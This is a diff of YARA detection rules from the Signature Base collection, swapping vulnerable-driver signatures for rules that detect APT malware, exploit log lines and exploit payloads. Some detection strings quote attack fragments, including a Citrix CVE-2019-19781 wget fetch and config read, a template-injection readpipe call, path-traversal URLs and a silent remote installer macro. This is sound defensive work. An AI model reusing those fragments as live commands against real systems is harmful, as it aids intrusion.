 }
-rule SIGNATURE_BASE_PUA_VULN_Driver_Elaboratebytesag_Elbycdio_Cdrtools_2380 : FILE
+rule SIGNATURE_BASE_LOG_EXPL_Adselfservice_CVE_2021_40539_Weblog_Sep21_1 : LOG CVE_2021_40539 FILE
 {
 	meta:
-		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - ElbyCDIO.sys"
-		author = "Florian Roth"
-		id = "24415567-6904-52b1-964d-1a0a4aefe08e"
-		date = "2023-06-14"
+		description = "Detects suspicious log lines produeced during the exploitation of ADSelfService vulnerability CVE-2021-40539"
+		author = "Florian Roth (Nextron Systems)"
+		id = "015957a6-8778-5836-af94-6e6d3838f693"
+		date = "2021-09-20"
 		modified = "2023-12-05"
-		reference = "https://github.com/magicsword-io/LOLDrivers"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/yara-rules_vuln_drivers_strict.yar#L2574-L2594"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "238046cfe126a1f8ab96d8b62f6aa5ec97bab830e2bae5b1b6ab2d31894c79e4"
-		logic_hash = "7ac9c6ae541d6689a986d884e96f2f024a18736a59b02a1103e44538d725bb52"
-		score = 40
+		reference = "https://us-cert.cisa.gov/ncas/alerts/aa21-259a"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/expl_adselfservice_cve_2021_40539.yar#L16-L29"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "bc27afd63d32ac95711e5b4e70764fe0d1bcbb4b4b9b4e3f324e058bba2ef8f6"
+		score = 60
 		quality = 85
-		tags = "FILE"
+		tags = "LOG, CVE-2021-40539, FILE"
 
 	strings:
-		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]0045006c0062007900430044002000570069006e0064006f00770073002000780036003400200049002f004f0020006400720069007600650072 }
-		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0045006c00610062006f0072006100740065002000420079007400650073002000410047 }
-		$ = { 00460069006c006500560065007200730069006f006e[1-8]0036002c00200030002c00200033002c00200032 }
-		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0036002c00200030002c00200030002c00200030 }
-		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]0045006c00620079004300440049004f }
-		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]0043004400520054006f006f006c0073 }
-		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]0045006c00620079004300440049004f002e007300790073 }
-		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f00700079007200690067006800740020002800430029002000320030003000300020002d0020003200300030003900200045006c00610062006f0072006100740065002000420079007400650073002000410047 }
+		$x1 = "/ServletApi/../RestApi/LogonCustomization" ascii wide
+		$x2 = "/ServletApi/../RestAPI/Connection" ascii wide
 
 	condition:
-		uint16(0)==0x5a4d and filesize <100KB and all of them
+		filesize <50MB and 1 of them
 }
-rule SIGNATURE_BASE_PUA_VULN_Driver_Msi_Ntiolibxsys_Ntiolibx_1E8B : FILE
+import "pe"
+
+rule SIGNATURE_BASE_MAL_Hogfish_Report_Related_Sample : FILE
 {
 	meta:
-		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - NTIOLib.sys"
-		author = "Florian Roth"
-		id = "208dd67e-2d2d-5104-a497-1311cea9e223"
-		date = "2023-06-14"
+		description = "Detects APT10 / Hogfish related samples"
+		author = "Florian Roth (Nextron Systems)"
+		id = "7fc4fdda-b71f-5c9c-87a4-5d8290b99348"
+		date = "2018-05-01"
 		modified = "2023-12-05"
-		reference = "https://github.com/magicsword-io/LOLDrivers"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/yara-rules_vuln_drivers_strict.yar#L2597-L2618"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "1e8b0c1966e566a523d652e00f7727d8b0663f1dfdce3b9a09b9adfaef48d8ee"
-		hash = "5d530e111400785d183057113d70623e17af32931668ab7c7fc826f0fd4f91a3"
-		logic_hash = "673d993f0ad7800551cfc11d73a38aa37b306902f2d28db4d5ec5f33bc51f21f"
-		score = 40
+		reference = "https://www.accenture.com/t20180423T055005Z__w__/se-en/_acnmedia/PDF-76/Accenture-Hogfish-Threat-Analysis.pdf"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_apt10_redleaves.yar#L13-L31"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "bff74f7a72a3e40e828284ed37b2f7ea64d8df52e946372d38e379d9b7b7a445"
+		score = 75
 		quality = 85
 		tags = "FILE"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "f9acc706d7bec10f88f9cfbbdf80df0d85331bd4c3c0188e4d002d6929fe4eac"
+		hash2 = "7188f76ca5fbc6e57d23ba97655b293d5356933e2ab5261e423b3f205fe305ee"
+		hash3 = "4de5a22cd798950a69318fdcc1ec59e9a456b4e572c2d3ac4788ee96a4070262"
 
 	strings:
-		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]004e00540049004f004c00690062005f005800360034 }
-		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]004d00530049 }
-		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002e0030002e0030002e0031 }
-		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002e0030002e0030002e0031 }
-		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]004e00540049004f004c00690062005f005800360034002e007300790073 }
-		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]004e00540049004f004c00690062005f005800360034 }
-		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]004e00540049004f004c00690062005f005800360034002e007300790073 }
-		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f00700079007200690067006800740020002800430029002000320030003100340020004d00530049002e00200041006c006c0020007200690067006800740073002000720065007300650072007600650064002e }
+		$s1 = "R=user32.dll" fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and filesize <100KB and all of them
+		uint16(0)==0x5a4d and filesize <1000KB and (pe.imphash()=="efad9ff8c0d2a6419bf1dd970bcd806d" or 1 of them )
 }
-rule SIGNATURE_BASE_PUA_VULN_Driver_Sysinternalswwwsysinternalscom_Procexpsys_Processexplorer_6BFC : FILE
+import "pe"
+
+rule SIGNATURE_BASE_MAL_Redleaves_Apr18_1 : FILE
 {
 	meta:
-		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - procexp.Sys"
-		author = "Florian Roth"
-		id = "c5104fcb-7d6a-54dc-a79e-366f16ecd8a0"
-		date = "2023-06-14"
+		description = "Detects RedLeaves malware"
+		author = "Florian Roth (Nextron Systems)"
+		id = "578b40d7-6818-56d5-92ce-535141c0aa8e"
+		date = "2018-05-01"
 		modified = "2023-12-05"
-		reference = "https://github.com/magicsword-io/LOLDrivers"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/yara-rules_vuln_drivers_strict.yar#L2621-L2643"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "6bfc0f425de9f4e7480aa2d1f2e08892d0553ed0df1c31e9bf3d8d702f38fa2e"
-		hash = "3c7e5b25a33a7805c999d318a9523fcae46695a89f55bbdb8bb9087360323dfc"
-		hash = "46621554728bc55438c7c241137af401250f062edef6e7efecf1a6f0f6d0c1f7"
-		logic_hash = "bc754dc4c4a916691f3d32e8cfad99f1a426d9d6d59d9d6f3c93cabfd581d8a9"
-		score = 40
+		reference = "https://www.accenture.com/t20180423T055005Z__w__/se-en/_acnmedia/PDF-76/Accenture-Hogfish-Threat-Analysis.pdf"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_apt10_redleaves.yar#L33-L48"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "e34b95e96de88aef20050b6b9580600365284117918c24f76c884b089fa20623"
+		score = 75
 		quality = 85
 		tags = "FILE"
-
-	strings:
-		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]00500072006f00630065007300730020004500780070006c006f007200650072 }
-		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0053007900730069006e007400650072006e0061006c00730020002d0020007700770077002e0073007900730069006e007400650072006e0061006c0073002e0063006f006d }
-		$ = { 00460069006c006500560065007200730069006f006e[1-8]00310035002e00300030 }
-		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]00310035002e00300030 }
-		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]00700072006f0063006500780070002e007300790073 }
-		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]00500072006f00630065007300730020004500780070006c006f007200650072 }
-		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]00700072006f0063006500780070002e005300790073 }
-		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f007000790072006900670068007400200028004300290020004d002e002000520075007300730069006e006f007600690063006800200031003900390036002d0032003000310031 }
+		hash1 = "f6449e255bc1a9d4a02391be35d0dd37def19b7e20cfcc274427a0b39cb21b7b"
+		hash2 = "db7c1534dede15be08e651784d3a5d2ae41963d192b0f8776701b4b72240c38d"
+		hash3 = "d956e2ff1b22ccee2c5d9819128103d4c31ecefde3ce463a6dea19ecaaf418a1"
 
 	condition:
-		uint16(0)==0x5a4d and filesize <100KB and all of them
+		uint16(0)==0x5a4d and filesize <1000KB and (pe.imphash()=="7a861cd9c495e1d950a43cb708a22985" or pe.imphash()=="566a7a4ef613a797389b570f8b4f79df")
 }
-rule SIGNATURE_BASE_PUA_VULN_Driver_Sysinternalswwwsysinternalscom_Procexpsys_Processexplorer_7A48 : FILE
+import "pe"
+
+rule SIGNATURE_BASE_SUSP_THOR_Unsigned_Oct23_1 : FILE
 {
 	meta:
-		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - procexp.Sys"
+		description = "Detects unsigned version of THOR scanner, which could be a backdoored / modified version of the scanner"
 		author = "Florian Roth"
-		id = "7c796850-8413-53b0-bbbd-4991c1af6626"
-		date = "2023-06-14"
+		id = "2ca6a192-675e-5f02-a7b1-40369eeb9904"
+		date = "2023-10-28"
 		modified = "2023-12-05"
-		reference = "https://github.com/magicsword-io/LOLDrivers"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/yara-rules_vuln_drivers_strict.yar#L2646-L2666"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "7a48f92a9c2d95a72e18055cac28c1e7e6cad5f47aa735cbea5c3b82813ccfaf"
-		logic_hash = "3827cad3f54342cba5e6cfc98b2e30522feb79ea8917d882b95dcc66863e389d"
-		score = 40
+		reference = "Internal Research"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_unsigned_thor.yar#L4-L22"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "12303e3549071dd6c8896f7a1222eb5905f6b4d3f320134416a5b6d53857adeb"
+		score = 75
 		quality = 85
 		tags = "FILE"
 
 	strings:
-		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]00500072006f00630065007300730020004500780070006c006f007200650072 }
-		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0053007900730069006e007400650072006e0061006c00730020002d0020007700770077002e0073007900730069006e007400650072006e0061006c0073002e0063006f006d }
-		$ = { 00460069006c006500560065007200730069006f006e[1-8]00310036002e00340031 }
-		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]00310036002e00340031 }
-		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]00700072006f0063006500780070002e007300790073 }
-		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]00500072006f00630065007300730020004500780070006c006f007200650072 }
-		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]00700072006f0063006500780070002e005300790073 }
-		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f007000790072006900670068007400200028004300290020004d00610072006b002000520075007300730069006e006f007600690063006800200031003900390036002d0032003000320031 }
+		$s1 = "THOR APT Scanner" wide fullword
+		$s2 = "Nextron Systems GmbH" wide fullword
+		$sc1 = { 00 4F 00 72 00 69 00 67 00 69 00 6E 00 61 00 6C 00 46 00 69 00 6C 00 65 00 6E 00 61 00 6D 00 65 00 00 00 74 00 68 00 6F 00 72 }
 
 	condition:
-		uint16(0)==0x5a4d and filesize <100KB and all of them
+		uint16(0)==0x5a4d and all of them and pe.number_of_signatures==0
 }
-rule SIGNATURE_BASE_PUA_VULN_Driver_Zemanaltd_Zam_45F4 : FILE
+rule SIGNATURE_BASE_EXPL_Shitrix_Exploit_Code_Jan20_1 : FILE CVE_2019_19781
 {
 	meta:
-		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - zam64.sys"
-		author = "Florian Roth"
-		id = "56dc2fa5-c19c-5a77-9590-e7a957ccb27f"
-		date = "2023-06-14"
+		description = "Detects payloads used in Shitrix exploitation CVE-2019-19781"
+		author = "Florian Roth (Nextron Systems)"
+		id = "7fab3a9b-82a5-573a-b210-2ae65f1a7f24"
+		date = "2020-01-13"
 		modified = "2023-12-05"
-		reference = "https://github.com/magicsword-io/LOLDrivers"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/yara-rules_vuln_drivers_strict.yar#L2669-L2686"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "45f42c5d874369d6be270ea27a5511efcca512aeac7977f83a51b7c4dee6b5ef"
-		logic_hash = "539d1795ae819c2705e77cb41ec4248c7239ffa8cd805addbb9e5da5e98a83e2"
-		score = 40
+		reference = "https://isc.sans.edu/forums/diary/Citrix+ADC+Exploits+Overview+of+Observed+Payloads/25704/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/exploit_shitrix.yar#L2-L29"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "00687b30235be5ef3c00432b5b96bbc325dee553e7c0cb565d6f389b1bce12de"
+		score = 70
 		quality = 85
-		tags = "FILE"
+		tags = "FILE, CVE-2019-19781"
 
 	strings:
-		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]005a0041004d }
-		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]005a0065006d0061006e00610020004c00740064002e }
-		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0032002e00320030002e003800360035 }
-		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]005a0041004d }
-		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]005a0065006d0061006e00610020004c00740064002e00200041006c006c0020007200690067006800740073002000720065007300650072007600650064002e }
+		$s01 = "/netscaler/portal/scripts/rmpm.pl" ascii
+		$s02 = "tee /netscaler/portal/templates/" ascii
+		$s03 = "exec(\\'(wget -q -O- http://" ascii
+		$s04 = "cd /netscaler/portal; ls" ascii
+		$s05 = "cat /flash/nsconfig/ns.conf" ascii
+		$s06 = "/netscaler/portal/scripts/PersonalBookmak.pl" ascii
+		$s07 = "template.new({'BLOCK'='print readpipe(" ascii
+		$s08 = "pwnpzi1337" fullword ascii
+		$s09 = "template.new({'BLOCK'="
+		$s10 = "template.new({'BLOCK'%3d"
+		$s11 = "my ($citrixmd, %FORM);"
+		$s12 = "(CMD, \"($citrixmd) 2>&1"
+		$b1 = "NSC_USER:" ascii nocase
+		$b2 = "NSC_NONCE:" ascii nocase
+		$b3 = "/../" ascii
 
 	condition:
-		uint16(0)==0x5a4d and filesize <200KB and all of them
+		1 of ($s*) or all of ($b*)
 }
-rule SIGNATURE_BASE_PUA_VULN_Driver_Intelcorporation_Iqvwsys_Intelriqvwsys_4D05 : FILE
+import "pe"
+
+rule SIGNATURE_BASE_APT_ME_Bigbang_Gen_Jul18_1 : FILE
 {
 	meta:
-		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - iQVW64.SYS"
-		author = "Florian Roth"
-		id = "e52c22aa-347f-5618-93b8-b4dab3f04b35"
-		date = "2023-06-14"
+		description = "Detects malware from Big Bang campaign against Palestinian authorities"
+		author = "Florian Roth (Nextron Systems)"
+		id = "f1097998-9414-511c-b177-ff09154964a8"
+		date = "2018-07-09"
 		modified = "2023-12-05"
-		reference = "https://github.com/magicsword-io/LOLDrivers"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/yara-rules_vuln_drivers_strict.yar#L2689-L2716"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "4d0580c20c1ba74cf90d44c82d040f0039542eea96e4bbff3996e6760f457cee"
-		hash = "77c5e95b872b1d815d6d3ed28b399ca39f3427eeb0143f49982120ff732285a9"
-		hash = "cff9aa9046bdfd781d34f607d901a431a51bb7e5f48f4f681cc743b2cdedc98c"
-		hash = "b51ddcf8309c80384986dda9b11bf7856b030e3e885b0856efdb9e84064917e5"
-		hash = "ff115cefe624b6ca0b3878a86f6f8b352d1915b65fbbdc33ae15530a96ebdaa7"
-		hash = "a566af57d88f37fa033e64b1d8abbd3ffdacaba260475fbbc8dab846a824eff5"
-		hash = "57a389da784269bb2cc0a258500f6dfbf4f6269276e1192619ce439ec77f4572"
-		hash = "d74755311d127d0eb7454e56babc2db8dbaa814bc4ba8e2a7754d3e0224778e1"
-		logic_hash = "4e043c30e6b74d21ef14aec63454c6a48c0ac3e770b39114dc6ba988023ebabf"
-		score = 40
+		reference = "https://research.checkpoint.com/apt-attack-middle-east-big-bang/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_bigbang.yar#L3-L29"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "496994ee035aa09233c648cf4ec0d1e84ceb970917b4dc5208a1390ec6eb39c2"
+		score = 75
 		quality = 85
 		tags = "FILE"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "4db68522600f2d8aabd255e2da999a9d9c9f1f18491cfce9dadf2296269a172b"
+		hash2 = "ac6462e9e26362f711783b9874d46fefce198c4c3ca947a5d4df7842a6c51224"
+		hash3 = "e1f52ea30d25289f7a4a5c9d15be97c8a4dfe10eb68ac9d031edcc7275c23dbc"
 
 	strings:
-		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]0049006e00740065006c0028005200290020004e006500740077006f0072006b0020004100640061007000740065007200200044006900610067006e006f00730074006900630020004400720069007600650072 }
-		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0049006e00740065006c00200043006f00720070006f0072006100740069006f006e0020 }
-		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002e00300033002e0030002e00340020006200750069006c0074002000620079003a002000570069006e00440044004b }
-		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002e00300033002e0030002e0034 }
-		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]006900510056005700360034002e005300590053 }
-		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]0049006e00740065006c0028005200290020006900510056005700360034002e005300590053 }
-		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]006900510056005700360034002e005300590053 }
-		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000280043002900200032003000300032002d003200300030003600200049006e00740065006c00200043006f00720070006f0072006100740069006f006e00200041006c006c0020005200690067006800740073002000520065007300650072007600650064002e }
+		$x2 = "%@W@%S@c@ri%@p@%t.S@%he@%l%@l" ascii
+		$x3 = "S%@h%@e%l%@l." ascii
+		$x4 = "(\"S@%t@%a%@rt%@up\")" ascii
+		$x5 = "aW5zdGFsbCBwcm9nOiBwcm9nIHdpbGwgZGVsZXRlIG9sZCB0bXAgZmlsZQ==" fullword ascii
+		$x6 = "aW5zdGFsbCBwcm9nOiBUaGVyZSBpcyBubyBvbGQgZmlsZSBpbiB0ZW1wLg==" fullword ascii
+		$x7 = "VXBkYXRlIHByb2c6IFRoZXJlIGlzIG5vIG9sZCBmaWxlIGluIHRlbXAu" fullword ascii
+		$x8 = "aW5zdGFsbCBwcm9nOiBDcmVhdGUgVGFzayBhZnRlciA1IG1pbiB0byBydW4gRmlsZSBmcm9tIHRtcA==" fullword ascii
+		$x9 = "UnVuIEZpbGU6IE15IHByb2cgaXMgRXhpdC4=" fullword ascii
+		$x10 = "li%@%@nk.W%@%@indo@%%@%@%wS%@%@tyle = 3" fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and filesize <100KB and all of them
+		uint16(0)==0x5a4d and filesize <3000KB and (1 of them or pe.imphash()=="0f09ea2a68d04f331df9a5d0f8641332")
 }
-rule SIGNATURE_BASE_PUA_VULN_Driver_Avastsoftware_Aswarpotsys_Avastantivirus_86A1 : FILE
+import "pe"
+
+rule SIGNATURE_BASE_APT_ME_Bigbang_Mal_Jul18_1 : FILE
 {
 	meta:
-		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - aswArPot.sys, avgArPot.sys"
-		author = "Florian Roth"
-		id = "57b41ebc-6c75-5ba3-b2fc-0bb50e92207b"
-		date = "2023-06-14"
+		description = "Detects malware from Big Bang report"
+		author = "Florian Roth (Nextron Systems)"
+		id = "f30b2e11-f90a-5068-8eaa-25f11218ec6c"
+		date = "2018-07-09"
 		modified = "2023-12-05"
-		reference = "https://github.com/magicsword-io/LOLDrivers"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/yara-rules_vuln_drivers_strict.yar#L2719-L2739"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "86a1b1bacc0c51332c9979e6aad84b5fba335df6b9a096ccb7681ab0779a8882"
-		logic_hash = "ed28688de49b089def60861ffe53f4e3a7f714b255035fdb19122375c83ebac2"
-		score = 40
+		reference = "https://research.checkpoint.com/apt-attack-middle-east-big-bang/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_bigbang.yar#L31-L51"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "da45482b465549fce0f088c5818dff4a734faa2e4fbcec43b750893d1c3fefad"
+		score = 75
 		quality = 85
 		tags = "FILE"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "ac6462e9e26362f711783b9874d46fefce198c4c3ca947a5d4df7842a6c51224"
+		hash2 = "e1f52ea30d25289f7a4a5c9d15be97c8a4dfe10eb68ac9d031edcc7275c23dbc"
 
 	strings:
-		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]0041007600610073007400200061006e0074006900200072006f006f0074006b00690074 }
-		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0041005600410053005400200053006f006600740077006100720065 }
-		$ = { 00460069006c006500560065007200730069006f006e[1-8]00310038002e0038002e0034003000350037002e0030 }
-		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]00310038002e0038002e0034003000350037002e0030 }
-		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]006100730077004100720050006f0074002e007300790073 }
-		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]0041007600610073007400200041006e00740069007600690072007500730020 }
-		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]006100730077004100720050006f0074002e007300790073 }
-		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f007000790072006900670068007400200028006300290020003200300031003800200041005600410053005400200053006f006600740077006100720065 }
+		$s1 = "%Y%m%d-%I-%M-%S" fullword ascii
+		$s2 = "/api/serv/requests/%s/runfile/delete" fullword ascii
+		$s3 = "\\part.txt" ascii
+		$s4 = "\\ALL.txt" ascii
+		$s5 = "\\sat.txt" ascii
+		$s6 = "runfile.proccess_name" fullword ascii
+		$s7 = "%s%s%p%s%zd%s%d%s%s%s%s%s" fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and filesize <200KB and all of them
+		uint16(0)==0x5a4d and filesize <3000KB and 4 of them
 }
-rule SIGNATURE_BASE_PUA_VULN_Driver_Trendmicroinc_Tmcommsys_Aegis_61BE : FILE
+rule SIGNATURE_BASE_APT_UNC1151_Windowsinstaller_Silent_Installproduct_Macromethod : FILE
 {
 	meta:
-		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - TmComm.sys"
-		author = "Florian Roth"
-		id = "8242879f-ce39-5f05-b43e-ec2c6b185e82"
-		date = "2023-06-14"
+		description = "No description has been set in the source file - Signature Base"
+		author = "Proofpoint Threat Research"
+		id = "9ae80d54-33b9-55d7-957f-0738243e089f"
+		date = "2021-07-28"
 		modified = "2023-12-05"
-		reference = "https://github.com/magicsword-io/LOLDrivers"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/yara-rules_vuln_drivers_strict.yar#L2742-L2762"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "61befeef14783eb0fed679fca179d2f5c33eb2dcbd40980669ca2ebeb3bf11cf"
-		logic_hash = "70969db52d4e88e1662902634e0cb21c44ab694928e15e4bdaa9a1b2604146dd"
-		score = 40
+		reference = "Thttps://www.proofpoint.com/us/blog/threat-insight/asylum-ambuscade-state-actor-uses-compromised-private-ukrainian-military-emails"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_unc1151_ua.yar#L1-L16"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "aec1bb992061fdf1abf5c1a61cf9ec9e54c1f13be36ceb84890b058ade273b70"
+		score = 75
 		quality = 85
 		tags = "FILE"
+		hash1 = "1561ece482c78a2d587b66c8eaf211e806ff438e506fcef8f14ae367db82d9b3"
+		hash2 = "a8fd0a5de66fa39056c0ddf2ec74ccd38b2ede147afa602aba00a3f0b55a88e0"
 
 	strings:
-		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]005400720065006e0064004d006900630072006f00200043006f006d006d006f006e0020004d006f00640075006c0065 }
-		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]005400720065006e00640020004d006900630072006f00200049006e0063002e }
-		$ = { 00460069006c006500560065007200730069006f006e[1-8]0032002e0035002e0030002e0031003100300036 }
-		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0032002e0035 }
-		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]0054006d0043006f006d006d002e007300790073 }
-		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]00410045004700490053 }
-		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]0054006d0043006f006d006d002e007300790073 }
-		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000280043002900200032003000300035002d00320030003000380020005400720065006e00640020004d006900630072006f00200049006e0063006f00720070006f00720061007400650064002e00200041006c006c0020007200690067006800740073002000720065007300650072007600650064002e }
+		$doc_header = {D0 CF 11 E0 A1 B1 1A E1}
+		$s1 = ".UILevel = 2"
+		$s2 = "CreateObject(\"WindowsInstaller.Installer\")"
+		$s3 = ".InstallProduct \"http"
 
 	condition:
-		uint16(0)==0x5a4d and filesize <200KB and all of them
+		$doc_header at 0 and all of ($s*)
 }
-rule SIGNATURE_BASE_PUA_VULN_Driver_Avastsoftware_Aswarpotsys_Avastantivirus_BE8D : FILE
+rule SIGNATURE_BASE_APT_MAL_LNX_Kobalos : FILE
 {
 	meta:
-		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - aswArPot.sys, avgArPot.sys"
-		author = "Florian Roth"
-		id = "e655289a-61d1-5908-b495-ce2c00caae3c"
-		date = "2023-06-14"
+		description = "Kobalos malware"
+		author = "Marc-Etienne M.Leveille"
+		id = "dfa47e30-c093-57f6-af01-72a2534cc6f4"
+		date = "2020-11-02"
